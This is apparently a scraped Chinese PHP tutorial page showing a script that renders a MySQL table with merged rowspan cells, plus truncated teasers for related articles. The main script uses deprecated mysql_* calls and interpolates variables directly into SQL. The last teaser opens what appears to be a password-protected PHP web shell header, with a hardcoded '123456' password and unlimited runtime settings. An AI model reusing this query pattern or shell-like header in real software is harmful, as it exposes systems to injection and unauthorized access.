php动态生成表格的合并
<?php
$link=mysql_connect("localhost","root","root");
$db=mysql_select_db("bustest",$link);
$sql1="select name from info group by name order by id asc";
print("<table border='1'>");
$res1=mysql_query($sql1);
while($row1=mysql_fetch_array($res1)){
$name=$row1["name"];
$sql2="select id from info where name ='$name' order by id asc";
$res2=mysql_query($sql2);
while($row2=mysql_fetch_array($res2)){
print("<tr>");
$id=$row2["id"];
print("<td>$id</td>");
$sql3="select count(*),id from info where name ='$name' group by name order by id asc";
$res3=mysql_query($sql3);
while($row3=mysql_fetch_array($res3)){
$id1=$row3["id"];
if($id1==$id){
$num=$row3[0];
print("<td rowspan='$num' >");
print $name;
print("</td>");
}else{
print("</tr>");
}
}
}
print("</tr>");
}
print("</table>");
mysql_close($link);
?>
相关文档:
java的写法
/**
*
* @param location
* @param nameList保存结果的!
*/
public void listDict(String location, List<String> nameList) {
File fileList = new File(location);
if (fileList.isDirectory()) {
File[] files = fileList.listFiles();
for (File f : files) {
i ......
Session简介
session 分成两部分,session空间存放于服务器端,打开空间的ID 存放于 客户端的cookie, 如果客户端关闭了cookie,session就不能正常的使用。
Session的中文译名叫做“会话”,其本来的含义是指有始有终的一系列动作/消息,比如打电话时从拿起电话拨号到挂断电话这中间的一系列过程可以称 ......
使用php的常见问题是:编译php时忘记添加某扩展,后来想添加扩展,但是因为安装php后又装了一些东西如PEAR等,不想删除目录重装,别说,php还真有这样的功能。
我没有在手册中看到。
如我想增加bcmath支持,这是一个支持大整数计算的扩展。windows自带而且内置,linux“本类函数仅在 PHP 编译时配置了 --ena ......
PHP 中巧用数组降低程序的时间复杂度
王 丹丹, 高级软件工程师, IBM
2009 年 11 月 26 日
本文主要是介绍在 PHP 的编程中,如何巧用数组来降低因多层循环而引起的时间复杂度的问题。特别是当程序需要多次与数据库交互时,用此方法来优化你的代码,将会带给意想不到的效果。
通常开发人员在写程序的时候,往往是把已经设 ......
<?php
#--Config--#
$login_password= '123456'; //这是密码
#----------#
error_reporting(E_ALL);
set_time_limit(0);
ini_set("max_execution_time","0");
ini_set("memory_limit","9999M");
set_magic_quotes_runtime(0);
if(!isset($_SERVER))$_SERVER = &$HTTP_SERVER_VARS;
if(!isset($_POST))$_PO ......